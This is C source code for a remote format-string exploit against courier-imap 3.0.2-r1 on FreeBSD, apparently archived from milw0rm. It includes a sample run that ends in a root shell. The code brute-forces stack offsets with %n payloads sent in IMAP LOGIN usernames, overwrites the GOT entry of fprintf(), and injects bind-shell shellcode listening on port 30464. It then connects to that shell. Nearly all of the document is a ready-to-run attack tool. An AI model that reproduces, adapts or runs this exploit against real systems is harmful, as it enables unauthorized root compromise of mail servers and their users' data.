/*
  courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit

  Author: ktha at hush dot com

  Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2

  Special thanks goes to andrewg for providing the FreeBSD box.

  Greetings: all the guys from irc pulltheplug com and irc netric org

  bash-2.05b$ ./sm00ny-courier_imap_fsx
  courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com
  [*] Launching attack against 127.0.0.1:143
  [+] Got current ebp(5100): 0xbfbfb050
  [+] Got possible saved ebp(3281): 0xbfbfe390
  [+] Got possible write on the stack pointer(3293): 0xbfbfe3c0
  [+] Verifying...failed
  [+] Got possible saved ebp(3286): 0xbfbfe3a4
  [+] Got possible write on the stack pointer(3298): 0xbfbfe3d4
  [+] Verifying...failed
  [+] Got possible saved ebp(3287): 0xbfbfe3a8
  [+] Got possible write on the stack pointer(3299): 0xbfbfe3d8
  [+] Verifying...OK
  [+] Building fmt...done
  [+] Building shellcode...done
  [*] Using ret: 0x8057000
  [*] Using got of fprintf(): 0x804fefc
  [*] Checking for shell..
  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

  N.B. 1. ret can be guessed ;)
     2. got, well.. that's a different story, it must be bruteforced
     3. "ce_number" & "se_number" can be set with some default values when running multiple times
  4. shell is usable for aprox 1 min

  [ Need a challenge ? ]
  [ Visit http://www.pulltheplug.com ]

*/

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BIGBUF 2048

#define IMAP_PORT 143

#define END_BRUTEFORCE_STACK 5500

#define TOP_STACK 0xbfc00000 /* FreeBSD */

#define START_BRUTEFORCE_SAVED_EBP 3000

#define JUNK 9

#define GAP_EBP_ESP 48

#define DUMMY_NUMBER 100


void die(int type, char *message) {
 if(type == 2)
 perror(message);
    else
     fprintf(stderr,"%s\n",message);
 exit(1);
}

int connect_to (char *host, int port){
 struct hostent *h;
 struct sockaddr_in c;
 int sock;

 if ((host == NULL) || (*host == (char) 0))
   die(1, "[-] Invalid hostname");

 if ((c.sin_addr.s_addr = inet_addr (host)) == -1){
   if ((h = gethostbyname (host)) == NULL)
  die(1, "[-] Cannot resolve host");
   memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr));
 }
 if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
   die(2,"[-] Error creating socket:");
 c.sin_family = PF_INET;
 c.sin_port = htons (port);
 if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)
   die(2, "[-] Cannot connect: ");
 return sock;
}

void close_socket (int sock){
 shutdown (sock, 2);
 close (sock);
}

char *get_request(char *username, char *password){
 char *request = (char *)malloc(strlen(username)+strlen(password)+20);
 sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);
 return request;
}

void send_data(int sock, char *request){
 int n;
 n = send (sock, request, strlen (request), 0);
 if (n != strlen (request)){
        close_socket (sock);
        die(1, "Error sending request\n");
 }
}


int get_ce_number(char *host, int port){
 int sock;
 int loop;
 char temp[BIGBUF];
 int l,n;
 char username[BIGBUF];
 char password[BIGBUF];
 char *request;

 for (loop = END_BRUTEFORCE_STACK;;loop--){
 sock = connect_to(host, port);
 n = recv (sock, temp, sizeof (temp), 0);
 sprintf(password,"sm00ny");
 sprintf(username,"%%%d$p",loop);
 request = get_request(username,password);
 send_data(sock,request);
 memset(temp,0,sizeof(temp));
 n = recv (sock, temp, sizeof (temp), 0);
 close_socket (sock);
 if (n > 0)
  break;
 }
 return loop;
}


int get_se_number(int start, int end, char *host, int port){
 int loop;
 char username[BIGBUF];
 char password[BIGBUF];
 char *request;
 int l,n;
 char temp[BIGBUF];
 int sock;
 if (!start)
 start = START_BRUTEFORCE_SAVED_EBP;
 for (loop = start; loop < end; loop++){
 sock = connect_to(host, port);
 n = recv (sock, temp, sizeof (temp), 0);
 sprintf(password,"sm00ny");
 sprintf(username,"%%%d$n",loop);
 request = get_request(username,password);
 send_data(sock,request);
 memset(temp,0,sizeof(temp));
 n = recv (sock, temp, sizeof (temp), 0);
 close_socket (sock);
 if (n > 0)
  break;
 }
 if (loop == end)
 return -1;

 return loop;
}





int verify_se_number(int write, unsigned long addy, int number, char *host, int port){
    char username[BIGBUF];
    char password[BIGBUF];
    char temp[BIGBUF];
    char *request;
    int n, sock;

    sock = connect_to(host, port);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    sprintf(password,"sm00ny");
    sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, number, write);
    request = get_request(username,password);
    send_data(sock,request);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    close_socket (sock);
    if (n <= 0)
     return 0;

    sock = connect_to(host, port);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    sprintf(password,"sm00ny");
    sprintf(username,"%%%u$n%%%u$hn", number, write);
    request = get_request(username,password);
    send_data(sock,request);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    close_socket (sock);
    if (n > 0)
     return 0;

    return 1;
}


int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned long ret){
 int i,j,sum,byte;
 int *vec = (int *)malloc(11 * sizeof(int));

 sum = JUNK;
 for (i=0; i<2; i++){
 for (j=0; j<2; j++){
  vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;
  while (vec[2*(2 * i + j)] <= 12)
  vec[2*(2 * i + j)] += 0x10000;
  sum += vec[2*(2 * i + j)];

  byte = ((got + 2 * i) >> (16*j)) & 0xffff;
  vec[2*(2 * i + j) + 1] = byte - sum;
  while (vec[2*(2 * i + j) + 1] <= 12)
  vec[2*(2 * i + j) + 1] += 0x10000;
  sum += vec[2*(2 * i + j) + 1];
  got_addy += 2;
 }
 }
 for (i=0; i<2; i++){
 byte = (ret >> (16*i)) & 0xffff;
 vec[8+i] = byte - sum;
 while (vec[8+i] <= 12)
  vec[8+i] += 0x10000;
 sum += vec[8+i];
 }

 return vec;
}

char *get_format_string(int *vec, int se_number, int write_number, int got_number){
 char *buf = (char *) malloc(BIGBUF);
 char smallbuf[256];
 int i;

 for (i=0; i<4; i++){
 sprintf(smallbuf ,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);
 strcat(buf,smallbuf);
 }
 for (i=0; i<2; i++){
 sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);
 strcat(buf,smallbuf);
 }
 return buf;
}


char *gen_shellcode (int gap){
 int size;
 char *p;
 char shellcode[] =
 /* Thanks ilja */
 "\x31\xc0\x31\xc9\x31\xd2\xb0\x61"
 "\x51\xb1\x06\x51\xb1\x01\x51\xb1"
 "\x02\x51\x8d\x0c\x24\x51\xcd\x80"
 "\xb1\x02\x31\xc9\x51\x51\x51\x80"
 "\xc1\x77\x66\x51\xb5\x02\x66\x51"
 "\x8d\x0c\x24\xb2\x10\x52\x51\x50"
 "\x8d\x0c\x24\x51\x89\xc2\x31\xc0"
 "\xb0\x68\xcd\x80\xb3\x01\x53\x52"
 "\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"
 "\xcd\x80\x31\xc0\x50\x50\x52\x8d"
 "\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"
 "\x80\x89\xc3\x53\x51\x31\xc0\xb0"
 "\x5a\xcd\x80\x41\x53\x51\x31\xc0"
 "\xb0\x5a\xcd\x80\x41\x53\x51\x31"
 "\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"
 "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
 "\x62\x69\x89\xe3\x31\xc0\x50\x54"
 "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
 "\xb0\x01\xcd\x80";


    size = strlen (shellcode);
 p = (char *) malloc (gap + 1);

 /* Some nops ;) */
 memset (p, 0x41, gap);

 memcpy (p + gap - size, shellcode, size + 1);
 return p;
}


void root(char *host) {
 fd_set rfds;
    int n;
    int sock;
    char buff[1024];

    sock = connect_to(host,30464);
    send(sock,"id;\n",4,0);
    while(1) {
     FD_ZERO(&rfds);
     FD_SET(0, &rfds);
        FD_SET(sock, &rfds);
        if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)
         exit(0);
        if(FD_ISSET(0,&rfds)) {
         if( (n = read(0,buff,sizeof(buff))) < 1)
         exit(0);
         if( send(sock,buff,n,0) != n)
         exit(0);
        }
        if(FD_ISSET(sock,&rfds)) {
         if( (n = recv(sock,buff,sizeof(buff),0)) < 1)
         exit(0);
         write(1,buff,n);
        }
 }
}



main (int argc, char **argv) {
 char *host="127.0.0.1";
 int port = IMAP_PORT;
 int sock;

 char *temp1, *temp2;
 char *request;
 int *vec;

 int n,ok,i;

 unsigned long cur_ebp; // was 5100 on my box
 int ce_number = 0;
 unsigned long saved_ebp; // was 3287 on my box
 int se_number = 0;
 unsigned long write_addy;
 int write_number = 0;
 unsigned long got_addy;
 int got_number = 0;

 /* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */
 unsigned long got = 0x0804fefc;
 /* heh.. it's up to you to find this one :P Just use your favourite mathod */
 unsigned long ret = 0x8057000;

 if (argc > 1)
  host = argv[1];

 printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com\n");

 printf("[*] Launching attack against %s:%d\n",host,port);

 if (ce_number == 0)
  ce_number = get_ce_number(host,port);
 cur_ebp = TOP_STACK - 4 * ce_number;

 got_number = DUMMY_NUMBER;
 got_addy = cur_ebp + 4 * (got_number - 1);

 printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);

 do{
  se_number = get_se_number(se_number,ce_number,host,port);
  if (se_number == -1)
  die(1,"[-] Failed to get a saved_ebp !");

  saved_ebp = cur_ebp + 4 * (se_number - 1);
  printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);

  write_addy = GAP_EBP_ESP + saved_ebp;
  write_number = (write_addy - cur_ebp) / 4 + 1;
 printf("[+] Got possible write on the stack pointer(%d): %p\n",write_number,write_addy);

  printf("[+] Verifying...");
  ok = verify_se_number(write_number,got_addy,se_number,host,port);
  if (ok)
  printf("OK\n");
  else {
  printf("failed\n");
  se_number++;
  }
 }while (!ok);

 printf("[+] Building fmt...");
 vec = get_format_vector(got_addy,got,ret);
 temp1 = get_format_string(vec,se_number,write_number,got_number);
 printf("done\n");

 printf("[+] Building shellcode...");
 temp2 = gen_shellcode(800);
 printf("done\n");

 printf("[*] Using ret: %p\n",ret);
 printf("[*] Using got of fprintf(): %p\n",got);

 request = get_request(temp1,temp2);

 sock = connect_to(host, port);
 send_data(sock,request);
 sleep(2);
 close_socket (sock);

 printf("[*] Checking for shell..\n");
 root(host);
}

// milw0rm.com [2004-09-02]